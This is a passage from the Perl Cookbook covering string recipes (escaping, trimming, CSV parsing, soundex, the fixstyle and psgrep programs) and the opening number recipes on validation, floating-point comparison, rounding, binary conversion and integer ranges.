If you want to escape all non-word characters, use the \Q and \E string metacharacters or the quotemeta function. For example, these are equivalent:

$string = "this \Qis a test!\E";
$string = "this is\\ a\\ test\\!";
$string = "this " . quotemeta("is a test!");

See Also

The s/// operator in perlre (1) and perlop (1) and the "Pattern Matching" section of Chapter 2 of Programming Perl; the quotemeta function in perlfunc (1) and Chapter 3 of Programming Perl; the discussion of HTML escaping in Recipe 19.1; Recipe 19.6 for how to avoid having to escape strings to give the shell

Previous: 1.12. Reformatting Paragraphs | Perl Cookbook | Next: 1.14. Trimming Blanks from the Ends of a String
1.12. Reformatting Paragraphs | Book Index | 1.14. Trimming Blanks from the Ends of a String


Recipe 1.14. Trimming Blanks from the Ends of a String

Perl CookbookSearch this book

1.14. Trimming Blanks from the Ends of a String

Problem

You have read a string that may have leading or trailing whitespace, and you want to remove it.

Solution

Use a pair of pattern substitutions to get rid of them:

$string =~ s/^\s+//;
$string =~ s/\s+$//;

You can also write a function that returns the new value:

$string = trim($string);
@many   = trim(@many);

sub trim {
    my @out = @_;
    for (@out) {
        s/^\s+//;
        s/\s+$//;
    }
    return wantarray ? @out : $out[0];
}

Discussion

This problem has various solutions, but this is the most efficient for the common case.

If you want to remove the last character from the string, use the chop function. Version 5 added chomp, which removes the last character if and only if it is contained in the $/ variable, "\n" by default. These are often used to remove the trailing newline from input:

# print what's typed, but surrounded by >< symbols
while(<STDIN>) {
    chomp;
    print ">$_<\n";
}

See Also

The s/// operator in perlre (1) and perlop (1) and the "Pattern Matching" section of Chapter 2 of Programming Perl; the chomp and chop functions in perlfunc (1) and Chapter 3 of Programming Perl; we trim leading and trailing whitespace in the getnum function in Recipe 2.1.

Previous: 1.13. Escaping Characters | Perl Cookbook | Next: 1.15. Parsing Comma-Separated Data
1.13. Escaping Characters | Book Index | 1.15. Parsing Comma-Separated Data


Recipe 1.15. Parsing Comma-Separated Data

Perl CookbookSearch this book

1.15. Parsing Comma-Separated Data

Problem

You have a data file containing comma-separated values that you need to read in, but these data fields may have quoted commas or escaped quotes in them. Most spreadsheets and database programs use comma-separated values as a common interchange format.

Solution

Use the procedure in Mastering Regular Expressions.

sub parse_csv {
    my $text = shift;      # record containing comma-separated values
    my @new  = ();
    push(@new, $+) while $text =~ m{
        # the first part groups the phrase inside the quotes.
        # see explanation of this pattern in MRE
        "([^\"\\]*(?:\\.[^\"\\]*)*)",?
           |  ([^,]+),?
           | ,
       }gx;
       push(@new, undef) if substr($text, -1,1) eq ',';
       return @new;      # list of values that were comma-separated
}

Or use the standard Text::ParseWords module.

use Text::ParseWords;

sub parse_csv {
    return quoteword(",",0, $_[0]);
}

Discussion

Comma-separated input is a deceptive and complex format. It sounds simple, but involves a fairly complex escaping system because the fields themselves can contain commas. This makes the pattern matching solution complex and rules out a simple split /,/.

Fortunately, Text::ParseWords hides the complexity from you. Pass its quotewords function two arguments and the CSV string. The first argument is the separator (a comma, in this case) and the second is a true or false value controlling whether the strings are returned with quotes around them.

If you want to represent quotation marks inside a field delimited by quotation marks, escape them with backslashes "like \"this\"". Quotation marks and backslashes are the only characters that have meaning backslashed. Any other use of a backslash will be left in the output string.

Here's how you'd use the parse_csv subroutines. The q<> is just a fancy quote so we didn't have to backslash everything.

$line = q<XYZZY,"","O'Reilly, Inc","Wall, Larry","a \"glug\" bit,",5,
    "Error, Core Dumped">;
@fields = parse_csv($line);
for ($i = 0; $i < @fields; $i++) {
    print "$i : $fields[$i]\n";
}
0 : XYZZY
1 :
2 : O'Reilly, Inc
3 : Wall, Larry
4 : a \"glug\" bit,
5 : 5
6 : Error, Core Dumped

See Also

The explanation of regular expression syntax in perlre (1) and Chapter 2 of Programming Perl; the documentation for the standard Text::ParseWords module (also in Chapter 7 of Programming Perl); the section "An Introductory Example: Parsing CSV Text" in Chapter 7 of Mastering Regular Expressions

Previous: 1.14. Trimming Blanks from the Ends of a String | Perl Cookbook | Next: 1.16. Soundex Matching
1.14. Trimming Blanks from the Ends of a String | Book Index | 1.16. Soundex Matching


Recipe 1.16. Soundex Matching

Perl CookbookSearch this book

1.16. Soundex Matching

Problem

You have two English surnames and want to know whether they sound somewhat similar, regardless of spelling. This would let you offer users a "fuzzy search" of names in a telephone book to catch "Smith" and "Smythe" and others within the set, such as "Smite" and "Smote."

Solution

Use the standard Text::Soundex module:

 use Text::Soundex;

 $CODE  = soundex($STRING);
 @CODES = soundex(@LIST);

Discussion

The soundex algorithm hashes words (particularly English surnames) into a small space using a simple model that approximates an English speaker's pronunciation of the words. Roughly speaking, each word is reduced to a four character string. The first character is an uppercase letter; the remaining three are digits. By comparing the soundex values of two strings, we can guess whether they sound similar.

The following program prompts for a name and looks for similarly sounding names from the password file. This same approach works on any database with names, so you could key the database on the soundex values if you wanted to. Such a key wouldn't be unique, of course.

use Text::Soundex;
use User::pwent;

print "Lookup user: ";
chomp($user = <STDIN>);
exit unless defined $user;
$name_code = soundex($user);

while ($uent = getpwent()) {
    ($firstname, $lastname) = $uent->gecos =~ /(\w+)[^,]*\b(\w+)/;

    if ($name_code eq soundex($uent->name) ||
        $name_code eq soundex($lastname)   ||
        $name_code eq soundex($firstname)  )
    {
        printf "%s: %s %s\n", $uent->name, $firstname, $lastname;
    }
}

See Also

The documentation for the standard Text::Soundex and User::pwent modules (also in Chapter 7 of Programming Perl); your system's passwd (5) manpage; Volume 3, Chapter 6 of The Art of Computer Programming

Previous: 1.15. Parsing Comma-Separated Data | Perl Cookbook | Next: 1.17. Program: fixstyle
1.15. Parsing Comma-Separated Data | Book Index | 1.17. Program: fixstyle


Recipe 1.17. Program: fixstyle

Perl CookbookSearch this book

1.17. Program: fixstyle

Imagine you have a table with both old and new strings, such as the following.

Old Words | New Words
bonnet | hood
rubber | eraser
lorry | truck
trousers | pants

The program in Example 1.4 is a filter that changes all occurrences of each element in the first set to the corresponding element in the second set.

When called without filename arguments, the program is a simple filter. If filenames are supplied on the command line, an in-place edit writes the changes to the files, with the original versions safely saved in a file with a ".orig" extension. See Recipe 7.9 for a description. A -v command-line option writes notification of each change to standard error.

The table of original strings and their replacements is stored below __END__ in the main program as described in Recipe 7.6. Each pair of strings is converted into carefully escaped substitutions and accumulated into the $code variable like the popgrep2 program in Recipe 6.10.

A -t check to test for an interactive run check tells whether we're expecting to read from the keyboard if no arguments are supplied. That way if the user forgets to give an argument, they aren't wondering why the program appears to be hung.

Example 1.4: fixstyle

#!/usr/bin/perl -w
# fixstyle - switch first set of <DATA> strings to second set
#   usage: $0 [-v] [files ...]
use strict;
my $verbose = (@ARGV && $ARGV[0] eq '-v' && shift);

if (@ARGV) {
    $^I = ".orig";          # preserve old files
} else {
    warn "$0: Reading from stdin\n" if -t STDIN;
}

my $code = "while (<>) {\n";
# read in config, build up code to eval
while (<DATA>) {
    chomp;
    my ($in, $out) = split /\s*=>\s*/;
    next unless $in && $out;
    $code .= "s{\\Q$in\\E}{$out}g";
    $code .= "&& printf STDERR qq($in => $out at \$ARGV line \$.\\n)"
                                                        if $verbose;
    $code .= ";\n";
}
$code .= "print;\n}\n";

eval "{ $code } 1" || die;

__END__
analysed        => analyzed
built-in        => builtin
chastized       => chastised
commandline     => command-line
de-allocate     => deallocate
dropin          => drop-in
hardcode        => hard-code
meta-data       => metadata
multicharacter  => multi-character
multiway        => multi-way
non-empty       => nonempty
non-profit      => nonprofit
non-trappable   => nontrappable
pre-define      => predefine
preextend       => pre-extend
re-compiling    => recompiling
reenter         => re-enter
turnkey         => turn-key

One caution: This program is fast, but it doesn't scale if you need to make hundreds of changes. The larger the DATA section, the longer it takes. A few dozen changes won't slow it down, and in fact, the version given in the solution above is faster for that case. But if you run the program on hundreds of changes, it will bog down.

Example 1.5 is a version that's slower for few changes but faster when there are many changes.

Example 1.5: fixstyle2

#!/usr/bin/perl -w
# fixstyle2 - like fixstyle but faster for many many matches
use strict;
my $verbose = (@ARGV && $ARGV[0] eq '-v' && shift);
my %change = ();
while (<DATA>) {
    chomp;
    my ($in, $out) = split /\s*=>\s*/;
    next unless $in && $out;
    $change{$in} = $out;
}

if (@ARGV) {
    $^I = ".orig";
} else {
    warn "$0: Reading from stdin\n" if -t STDIN;
}

while (<>) {
    my $i = 0;
    s/^(\s+)// && print $1;         # emit leading whitespace
    for (split /(\s+)/, $_, -1) {   # preserve trailing whitespace
        print( ($i++ & 1) ? $_ : ($change{$_} || $_));
    }
}

__END__
analysed        => analyzed
built-in        => builtin
chastized       => chastised
commandline     => command-line
de-allocate     => deallocate
dropin          => drop-in
hardcode        => hard-code
meta-data       => metadata
multicharacter  => multi-character
multiway        => multi-way
non-empty       => nonempty
non-profit      => nonprofit
non-trappable   => nontrappable
pre-define      => predefine
preextend       => pre-extend
re-compiling    => recompiling
reenter         => re-enter
turnkey         => turn-key

This version breaks each line into chunks of whitespace and words, which isn't a fast operation. It then uses those words to look up their replacements in a hash, which is much faster than a substitution. So the first part is slower, the second faster. The difference in speed depends on the number of matches.

If we didn't care about keeping the amount of whitespace separating each word constant, the second version can run as fast as the first even for a few changes. If you know a lot about your input, you can collapse whitespace into single blanks by plugging in this loop:

# very fast, but whitespace collapse
while (<>) {
    for (split) {
        print $change{$_} || $_, " ";
    }
    print "\n";
}

That leaves an extra blank at the end of each line. If that's a problem, you could use the technique from Recipe 16.14 to install an output filter. Place the following code in front of the while loop that's collapsing whitespace:

my $pid = open(STDOUT, "|-");
die "cannot fork: $!" unless defined $pid;
unless ($pid) {             # child
        while (<STDIN>) {
        s/ $//;
        print;
    }
    exit;
}

Previous: 1.16. Soundex Matching | Perl Cookbook | Next: 1.18. Program: psgrep
1.16. Soundex Matching | Book Index | 1.18. Program: psgrep


Recipe 1.18. Program: psgrep

Perl CookbookSearch this book

1.18. Program: psgrep

Many programs, including ps, netstat, lsof, ls -l, find -ls, and tcpdump, can produce more output than can be conveniently summarized. Logfiles also often grow too long to be easily viewed. You could send these through a filter like grep to pick out only certain lines, but regular expressions and complex logic don't mix well; just look at the hoops we jump through in Recipe 6.17.

What we'd really like is to make full queries on the program output or logfile. For example, to ask ps something like, "Show me all the processes that exceed 10K in size but which aren't running as the superuser." Or, "Which commands are running on pseudo-ttys?"

The psgrep program does this - and infinitely more - because the specified selection criteria are not mere regular expressions; they're full Perl code. Each criterion is applied in turn to every line of output. Only lines matching all arguments are output. The following is a list of things to find and how to find them.

Lines containing "sh" at the end of a word:

% psgrep '/sh\b/'

Processes whose command names end in "sh":

% psgrep 'command =~ /sh$/'

Processes running with a user ID below 10:

% psgrep 'uid < 10'

Login shells with active ttys:

% psgrep 'command =~ /^-/' 'tty ne "?"'

Processes running on pseudo-ttys:

% psgrep 'tty =~ /^[p-t]/'

Non-superuser processes running detached:

% psgrep 'uid && tty eq "?"'

Huge processes that aren't owned by the superuser:

% psgrep 'size > 10 * 2**10' 'uid != 0'

The last call to psgrep produced the following output when run on our system. As one might expect, only netscape and its spawn qualified.

 FLAGS   UID   PID  PPID PRI  NI   SIZE   RSS WCHAN     STA TTY TIME COMMAND
     0   101  9751     1   0   0  14932  9652 do_select S   p1  0:25 netscape
100000   101  9752  9751   0   0  10636   812 do_select S   p1  0:00 (dns helper)

Example 1.6 shows the psgrep program.

Example 1.6: psgrep

#!/usr/bin/perl -w
# psgrep - print selected lines of ps output by
#          compiling user queries into code

use strict;

# each field from the PS header
my @fieldnames = qw(FLAGS UID PID PPID PRI NICE SIZE
                    RSS WCHAN STAT TTY TIME COMMAND);

# determine the unpack format needed (hard-coded for Linux ps)
my $fmt = cut2fmt(8, 14, 20, 26, 30, 34, 41, 47, 59, 63, 67, 72);

my %fields;                         # where the data will store

die <<Thanatos unless @ARGV;
usage: $0 criterion ...
    Each criterion is a Perl expression involving:
     @fieldnames
    All criteria must be met for a line to be printed.
Thanatos

# Create function aliases for uid, size, UID, SIZE, etc.
# Empty parens on closure args needed for void prototyping.
for my $name (@fieldnames) {
    no strict 'refs';
    *$name = *{lc $name} = sub () { $fields{$name} };
}

my $code = "sub is_desirable { " . join(" and ", @ARGV) . " } ";
unless (eval $code.1) {
    die "Error in code: $@\n\t$code\n";
}

open(PS, "ps wwaxl |")              || die "cannot fork: $!";
print scalar <PS>;                  # emit header line
while (<PS>) {
    @fields{@fieldnames} = trim(unpack($fmt, $_));
    print if is_desirable();        # line matches their criteria
}
close(PS)                           || die "ps failed!";

# convert cut positions to unpack format
sub cut2fmt {
    my(@positions) = @_;
    my $template  = '';
    my $lastpos   = 1;
    for my $place (@positions) {
        $template .= "A" . ($place - $lastpos) . " ";
        $lastpos   = $place;
    }
    $template .= "A*";
    return $template;
}

sub trim {
    my @strings = @_;
    for (@strings) {
        s/^\s+//;
        s/\s+$//;
    }
    return wantarray ? @strings : $strings[0];
}

# the following was used to determine column cut points.
# sample input data follows
#123456789012345678901234567890123456789012345678901234567890123456789012345
#         1         2         3         4         5         6         7
# Positioning:
#       8     14    20    26  30  34     41    47          59  63  67   72
#       |     |     |     |   |   |      |     |           |   |   |    |
__END__
 FLAGS   UID   PID  PPID PRI  NI   SIZE   RSS WCHAN       STA TTY TIME COMMAND
   100     0     1     0   0   0    760   432 do_select   S   ?   0:02 init
   140     0   187     1   0   0    784   452 do_select   S   ?   0:02 syslogd
100100   101   428     1   0   0   1436   944 do_exit     S    1  0:00 /bin/login
100140    99 30217   402   0   0   1552  1008 posix_lock_ S   ?   0:00 httpd
     0   101   593   428   0   0   1780  1260 copy_thread S    1  0:00 -tcsh
100000   101 30639  9562  17   0    924   496             R   p1  0:00 ps axl
     0   101 25145  9563   0   0   2964  2360 idetape_rea S   p2  0:06 trn
100100     0 10116  9564   0   0   1412   928 setup_frame T   p3  0:00 ssh -C www
100100     0 26560 26554   0   0   1076   572 setup_frame T   p2  0:00 less
100000   101 19058  9562   0   0   1396   900 setup_frame T   p1  0:02 nvi /tmp/a

The psgrep program integrates many techniques presented throughout this book. Stripping strings of leading and trailing whitespace is found in Recipe 1.14. Converting cut marks into an unpack format to extract fixed fields is in Recipe 1.1. Matching strings with regular expressions is the entire topic of Chapter 6.

The multiline string in the here document passed to die is discussed in Recipes Recipe 1.10 and Recipe 1.11. The assignment to @fields{@fieldnames} sets many values at once in the hash named %fields. Hash slices are discussed in Recipes Recipe 4.7 and Recipe 5.10.

The sample program input contained beneath __END__ is described in Recipe 7.6. During development, we used canned input from the DATA filehandle for testing purposes. Once the program worked properly, we changed it to read from a piped-in ps command but left a remnant of the original filter input to aid in future porting and maintenance. Launching other programs over a pipe is covered in Chapter 16, Process Management and Communication, including Recipes Recipe 16.10 and Recipe 16.13.

The real power and expressiveness in psgrep derive from Perl's use of string arguments not as mere strings but directly as Perl code. This is similar to the technique in Recipe 9.9, except that in psgrep, the user's arguments are wrapped with a routine called is_desirable. That way, the cost of compiling strings into Perl code happens only once, before the program whose output we'll process is even begun. For example, asking for UIDs under 10 creates this string to eval:

eval "sub is_desirable { uid < 10 } " . 1;

The mysterious ".1" at the end is so that if the user code compiles, the whole eval returns true. That way we don't even have to check $@ for compilation errors as we do in Recipe 10.12.

Specifying arbitrary Perl code in a filter to select records is a breathtakingly powerful approach, but it's not entirely original. Perl owes much to the awk programming language, which is often used for such filtering. One problem with awk is that it can't easily treat input as fixed-size fields instead of fields separated by something. Another is that the fields are not mnemonically named: awk uses $1, $2, etc. Plus Perl can do much that awk cannot.

The user criteria don't even have to be simple expressions. For example, this call initializes a variable $id to user nobody 's number to use later in its expression:

% psgrep 'no strict "vars";
          BEGIN { $id = getpwnam("nobody") }
          uid == $id '

How can we use unquoted words without even a dollar sign, like uid, command, and size, to represent those respective fields in each input record? We directly manipulate the symbol table by assigning closures to indirect typeglobs, which creates functions with those names. The function names are created using both uppercase and lowercase names, allowing both "UID < 10" and "uid < 10". Closures are described in Recipe 11.4, and assigning them to typeglobs to create function aliases is shown in Recipe 10.14.

One twist here not seen in those recipes is empty parentheses on the closure. These allowed us to use the function in an expression anywhere we'd use a single term, like a string or a numeric constant. It creates a void prototype so the field-accessing function named uid accepts no arguments, just like the built-in function time. If these functions weren't prototyped void, expressions like "uid < 10" or "size / 2 > rss" would confuse the parser because it would see the unterminated start of a wildcard glob and of a pattern match, respectively. Prototypes are discussed in Recipe 10.11.

The version of psgrep demonstrated here expects the output from Red Hat Linux's ps. To port to other systems, look at which columns the headers begin at. This approach isn't relevant only to ps or only to Unix systems. It's a generic technique for filtering input records using Perl expressions, easily adapted to other record layouts. The input format could be in columns, space separated, comma separated, or the result of a pattern match with capturing parentheses.

The program could even be modified to handle a user-defined database with a small change to the selection functions. If you had an array of records as described in Recipe 11.9, you could let users specify arbitrary selection criteria, such as:

sub id()         { $_->{ID}   }
sub title()      { $_->{TITLE} }
sub executive()  { title =~ /(?:vice-)?president/i }

# user search criteria go in the grep clause
@slowburners = grep { id < 10 && !executive } @employees;

For reasons of security and performance, this kind of power is seldom found in database engines like those described in Chapter 14, Database Access. SQL doesn't support this, but given Perl and small bit of ingenuity, it's easy to roll it up on your own. The search engine at http://mox.perl.com/cgi-bin/MxScreen uses such a technique, but instead of output from ps, its records are Perl hashes loaded from a database.

Previous: 1.17. Program: fixstyle | Perl Cookbook | Next: 2. Numbers
1.17. Program: fixstyle | Book Index | 2. Numbers


[Chapter 2] Numbers

Perl CookbookSearch this book
Previous: 1.18. Program: psgrep Chapter 2 Next: 2.1. Checking Whether a String Is a Valid Number

2. Numbers

Contents:
Introduction
Checking Whether a String Is a Valid Number
Comparing Floating-Point Numbers
Rounding Floating-Point Numbers
Converting Between Binary and Decimal
Operating on a Series of Integers
Working with Roman Numerals
Generating Random Numbers
Generating Different Random Numbers
Making Numbers Even More Random
Generating Biased Random Numbers
Doing Trigonometry in Degrees, not Radians
Calculating More Trigonometric Functions
Taking Logarithms
Multiplying Matrices
Using Complex Numbers
Converting Between Octal and Hexadecimal
Putting Commas in Numbers
Printing Correct Plurals
Program: Calculating Prime Factors

Anyone who considers arithmetical methods of producing random digits is, of course, in a state of sin.

- John von Neumann (1951)

2.0. Introduction

Numbers, the most basic data type of almost any programming language, can be surprisingly tricky. Random numbers, numbers with decimal points, series of numbers, and the conversion of strings to numbers all pose trouble.

Perl works hard to make life easy for you, and the facilities it provides for manipulating numbers are no exception to that rule. If you treat a scalar value as a number, Perl converts it to one. This means that when you read ages from a file, extract digits from a string, or acquire numbers from any of the other myriad textual sources that Real Life pushes your way, you don't need to jump through the hoops created by other languages' cumbersome requirements to turn an ASCII string into a number.

Perl tries its best to interpret a string as a number when you use it as one (such as in a mathematical expression), but it has no direct way of reporting that a string doesn't represent a valid number. Perl quietly converts non-numeric strings to zero, and it will stop converting the string once it reaches a non-numeric character - so "A7" is still 0, and "7A" is just 7. (Note, however, that the -w flag will warn of such improper conversions.) Sometimes (such as when validating input) you need to know if a string represents a valid number. We show you how in Recipe 2.1.

Recipe 2.16 shows how to get a number from strings containing hexadecimal or octal representations of numbers like "0xff". Perl automatically converts literals in your program code (so $a = 3 + 0xff will set $a to 258) but not data read by that program (you can't read "0xff" into $b and then say $a = 3 + $b to make $a become 258).

As if integers weren't giving us enough grief, floating-point numbers can cause even more headaches. Internally, a computer represents numbers with decimal points as floating-point numbers in binary format. Floating-point numbers are not the same as real numbers; they are an approximation of real numbers, with limited precision. Although infinitely many real numbers exist, you only have finite space to represent them, usually about 64 bits or so. You have to cut corners to fit them all in.

When numbers are read from a file or appear as literals in your program, they are converted from decimal representation (e.g., 0.1) to internal representation. 0.1 can't be precisely represented as a binary floating-point number, just as 1/3 can't be exactly represented as a non-repeating decimal number. The computer's binary representation of 0.1, therefore, isn't exactly 0.1. To 20 decimal places, it is 0.10000000000000000555.

Performing arithmetic on binary representations of floating-point numbers can accumulate errors in the representations. In the preceding example, 3 * 0.1 is not stored with the same bit pattern as 0.3. This means you can't blindly test equality with == when you use Perl's floating-point numbers. Working with floating-point numbers is the subject of Recipes Recipe 2.2 and Recipe 2.3.

Recipe 2.4 shows how to convert an ASCII string representing a binary number (e.g., "1001") into an integer (e.g., 9) and back again. Recipe 2.5 gives three ways to perform one operation on each element of a set of consecutive integers. We show how to convert to and from Roman numerals in Recipe 2.6.

Random numbers are the topic of several recipes. Perl's rand function returns a floating-point value between 0 and 1 or between 0 and its argument. We show how to get random numbers in a given range, how to make random numbers more randomly, and how to make rand give a different set of random numbers each time you run your program.

We round out the chapter with recipes on trigonometry, logarithms, matrix multiplication, complex numbers, and the often-asked question: "How do you put commas in numbers?"

Previous: 1.18. Program: psgrep | Perl Cookbook | Next: 2.1. Checking Whether a String Is a Valid Number
1.18. Program: psgrep | Book Index | 2.1. Checking Whether a String Is a Valid Number


Recipe 2.1. Checking Whether a String Is a Valid Number

Perl CookbookSearch this book

2.1. Checking Whether a String Is a Valid Number

Problem

You want to check whether a string represents a valid number. This is a common problem when validating input, as in a CGI script.

Solution

Compare it against a regular expression that matches the kinds of numbers you're interested in.

if ($string =~ /PATTERN/) {
    # is a number
} else {
    # is not
}

Discussion

This problem gets to the heart of what we mean by a number. Even things that sound simple, like integer, make you think hard about what you will accept ("Is a leading + for positive numbers optional, mandatory, or forbidden?"). The many ways that floating-point numbers can be represented could overheat your brain.

You must decide what you will and will not accept. Then, construct a regular expression to match those things alone. Here are some precooked solutions (the cookbook's equivalent of just-add-water meals) for most common cases.

warn "has nondigits"        if     /\D/;
warn "not a natural number" unless /^\d+$/;             # rejects -3
warn "not an integer"       unless /^-?\d+$/;           # rejects +3
warn "not an integer"       unless /^[+-]?\d+$/;
warn "not a decimal number" unless /^-?\d+\.?\d*$/;     # rejects .2
warn "not a decimal number" unless /^-?(?:\d+(?:\.\d*)?|\.\d+)$/;
warn "not a C float"
       unless /^([+-]?)(?=\d|\.\d)\d*(\.\d*)?([Ee]([+-]?\d+))?$/;

These lines do not catch the IEEE notations of "Infinity" and "NaN", but unless you're worried that IEEE committee members will stop by your workplace and beat you over the head with copies of the relevant standards documents, you can probably forget about these strange numbers.

If your number has leading or trailing whitespace, those patterns won't work. Either add the appropriate logic directly, or call the trim function from Recipe 1.14.

If you're on a POSIX system, Perl supports the POSIX::strtod function. Its semantics are cumbersome, so here's a getnum wrapper function for more convenient access. This function takes a string and returns the number it found or undef for input that isn't a C float. The is_numeric function is a front end to getnum for when you just want to say "Is this a float?"

sub getnum {
    use POSIX qw(strtod);
    my $str = shift;
    $str =~ s/^\s+//;
    $str =~ s/\s+$//;
    $! = 0;
    my($num, $unparsed) = strtod($str);
    if (($str eq '') || ($unparsed != 0) || $!) {
        return;
    } else {
        return $num;
    }
}

sub is_numeric { defined scalar &getnum }

See Also

The regular expression syntax in perlre (1) and Chapter 2 of Programming Perl; your system's strtod (3) manpage; the documentation for the standard POSIX module (also in Chapter 7 of Programming Perl)

Previous: 2.0. Introduction | Perl Cookbook | Next: 2.2. Comparing Floating-Point Numbers
2.0. Introduction | Book Index | 2.2. Comparing Floating-Point Numbers


Recipe 2.2. Comparing Floating-Point Numbers

Perl CookbookSearch this book

2.2. Comparing Floating-Point Numbers

Problem

Floating-point arithmetic isn't precise. You want to compare two floating-point numbers and know if they're equal when carried out to a certain number of decimal places. Most of the time, this is the way you should compare floating-point numbers for equality.

Solution

Use sprintf to format the numbers to a certain number of decimal places, then compare the resulting strings:

# equal(NUM1, NUM2, ACCURACY) : returns true if NUM1 and NUM2 are
# equal to ACCURACY number of decimal places

sub equal {
    my ($A, $B, $dp) = @_;

    return sprintf("%.${dp}g", $A) eq sprintf("%.${dp}g", $B);
  }

Alternatively, store the numbers as integers by assuming the decimal place.

Discussion

You need the equal routine because most computers' floating-point representations aren't accurate. See the Introduction for a discussion of this issue.

If you have a fixed number of decimal places, as with currency, you can sidestep the problem by storing your values as integers. Storing $3.50 as 350 instead of 3.5 removes the need for floating-point values. Reintroduce the decimal point on output:

$wage = 536;                # $5.36/hour
$week = 40 * $wage;         # $214.40
printf("One week's wage is: \$%.2f\n", $week/100);

One week's wage is: $214.40

It rarely makes sense to compare to more than 15 decimal places.

See Also

The sprintf function in perlfunc (1) and Chapter 3 of Programming Perl; the entry on $# in the perlvar (1) manpage and Chapter 2 of Programming Perl; the documentation for the standard Math::BigFloat module (also in Chapter 7 of Programming Perl); we use sprintf in Recipe 2.3; Volume 2, Section 4.2.2 of The Art of Computer Programming

Previous: 2.1. Checking Whether a String Is a Valid Number | Perl Cookbook | Next: 2.3. Rounding Floating-Point Numbers
2.1. Checking Whether a String Is a Valid Number | Book Index | 2.3. Rounding Floating-Point Numbers


Recipe 2.3. Rounding Floating-Point Numbers

Perl CookbookSearch this book

2.3. Rounding Floating-Point Numbers

Problem

You want to round a floating-point value to a certain number of decimal places. This problem arises as a result of the same inaccuracies in representation that make testing for equality difficult (see Recipe 2.2), as well as in situations where you must reduce the precision of your answers for readability.

Solution

Use the Perl function sprintf, or printf if you're just trying to produce output:

$rounded = sprintf("%FORMATf", $unrounded);

Discussion

Rounding can seriously affect some algorithms, so the rounding method used should be specified precisely. In sensitive applications like financial computations and thermonuclear missiles, prudent programmers will implement their own rounding function instead of relying on the programming language's built-in logic, or lack thereof.

Usually, though, we can just use sprintf. The f format lets you specify a particular number of decimal places to round its argument to. Perl looks at the following digit, rounds up if it is 5 or greater, and rounds down otherwise.

$a = 0.255;
$b = sprintf("%.2f", $a);
print "Unrounded: $a\nRounded: $b\n";
printf "Unrounded: $a\nRounded: %.2f\n", $a;

Unrounded: 0.255
Rounded: 0.26
Unrounded: 0.255
Rounded: 0.26

Three functions that may be useful if you want to round a floating-point value to an integral value are int, ceil, and floor. int, built into Perl, returns the integral portion of the floating-point number passed to it (int will use $_ if it was called without an argument). The POSIX module's floor and ceil functions round their argument down and up to the next integer, respectively.

use POSIX;
print "number\tint\tfloor\tceil\n";
@a = ( 3.3 , 3.5 , 3.7, -3.3 );
foreach (@a) {
    printf( "%.1f\t%.1f\t%.1f\t%.1f\n",
        $_, int($_), floor($_), ceil($_) );
}

number  int     floor   ceil
 3.3     3.0     3.0     4.0
 3.5     3.0     3.0     4.0
 3.7     3.0     3.0     4.0
-3.3    -3.0    -4.0    -3.0

See Also

The sprintf and int functions in perlfunc (1) and Chapter 3 of Programming Perl; the floor and ceil entries in the documentation for the standard POSIX module (also in Chapter 7 of Programming Perl); we introduced the sprintf technique in Recipe 2.2

Previous: 2.2. Comparing Floating-Point Numbers | Perl Cookbook | Next: 2.4. Converting Between Binary and Decimal
2.2. Comparing Floating-Point Numbers | Book Index | 2.4. Converting Between Binary and Decimal


Recipe 2.4. Converting Between Binary and Decimal

Perl CookbookSearch this book

2.4. Converting Between Binary and Decimal

Problem

You have an integer whose binary representation you'd like to print out, or a binary representation that you'd like to convert into an integer. You might want to do this if you were displaying non-textual data, such as what you get from interacting with certain system programs and functions.

Solution

To convert a Perl integer to a text string of ones and zeros, first pack the integer into a number in network byte order[1] (the "N" format), then unpack it again bit by bit (the "B32" format).

[1] Also known as big-endian, or MSB (Most-Significant Bit first) order.

sub dec2bin {
    my $str = unpack("B32", pack("N", shift));
    $str =~ s/^0+(?=\d)//;   # otherwise you'll get leading zeros
    return $str;
}

To convert a text string of ones and zeros to a Perl integer, first massage the string by padding it with the right number of zeros, then just reverse the previous procedure.

sub bin2dec {
    return unpack("N", pack("B32", substr("0" x 32 . shift, -32)));
}

Discussion

We're talking about converting between strings like "00100011" and numbers like 35. The string is the binary representation of the number. We can't solve either problem with sprintf (which doesn't have a "print this in binary" format), so we have to resort to Perl's pack and unpack functions for manipulating strings of data.

The pack and unpack functions act on strings. You can treat the string as a series of bits, bytes, integers, long integers, floating-point numbers in IEEE representation, checksums - among other strange things. The pack and unpack functions both take formats, like sprintf, specifying what they should do with their arguments.

We use pack and unpack in two ways: "treat this string as a series of bits" and "treat this string as containing a binary representation of an integer." When we treat the string as a series of bits, we have to understand how pack will behave. Such a string is treated as a series of bytes, a byte being eight bits. The bytes are always counted from left to right (the first eight bits are the first byte, the next eight bits are the second, and so on), but the bits within each byte can be counted left-to-right as well as right-to-left.

We use pack with a template of "B" to work with bits within each byte from left to right. This is the order that the "N" format expects them in, which we use to treat the series of bits as representing a 32-bit integer.

$num = bin2dec('0110110');  # $num is 54
$binstr = dec2bin(54);      # $binstr is 110110

See Also

The pack and unpack functions in perlfunc (1) and Chapter 3 of Programming Perl; we also use pack and unpack in Recipe 1.4; to convert between decimal, hexadecimal, and octal, see Recipe 2.16

Previous: 2.3. Rounding Floating-Point Numbers | Perl Cookbook | Next: 2.5. Operating on a Series of Integers
2.3. Rounding Floating-Point Numbers | Book Index | 2.5. Operating on a Series of Integers


Recipe 2.5. Operating on a Series of Integers

Perl CookbookSearch this book

2.5. Operating on a Series of Integers

Problem

You want to perform an operation on all integers between X and Y, such as when you're working on a contiguous section of an array or in any situations where you want to process all numbers[2] within a range.

[2] Okay, integers. It's hard to find all the reals. Just ask Cantor.

Solution

Use a for loop, or .. in conjunction with a foreach loop:

foreach ($X .. $Y) {
    # $_ is set to every integer from X to Y, inclusive
}

foreach $i ($X .. $Y) {
    # $i is set to every integer from X to Y, inclusive
    }

for ($i = $X; $i <= $Y; $i++) {
    # $i is set to every integer from X to Y, inclusive
}

for ($i = $X; $i <= $Y; $i += 7) {
    # $i is set to every integer from X to Y, stepsize = 7
}

Discussion

The first two methods use the $X .. $Y construct, which creates a list of integers between $X and $Y. This uses a lot of memory when $X and $Y are far apart. (This is fixed in the 5.005 release.) When iterating over consecutive integers, the explicit for loop in the third method is more memory efficient.

The following code shows each technique. Here we only print the numbers we generate:

print "Infancy is: ";
foreach (0 .. 2) {
    print "$_ ";
}
print "\n";

print "Toddling is: ";
foreach $i (3 .. 4) {
    print "$i ";
}
print "\n";

print "Childhood is: ";
for ($i = 5; $i <= 12; $i++) {
    print "$i ";
}
print "\n";

Infancy is: 0 1 2
Toddling is: 3 4
Childhood is: 5 6 7 8 9 10 11 12

See Also

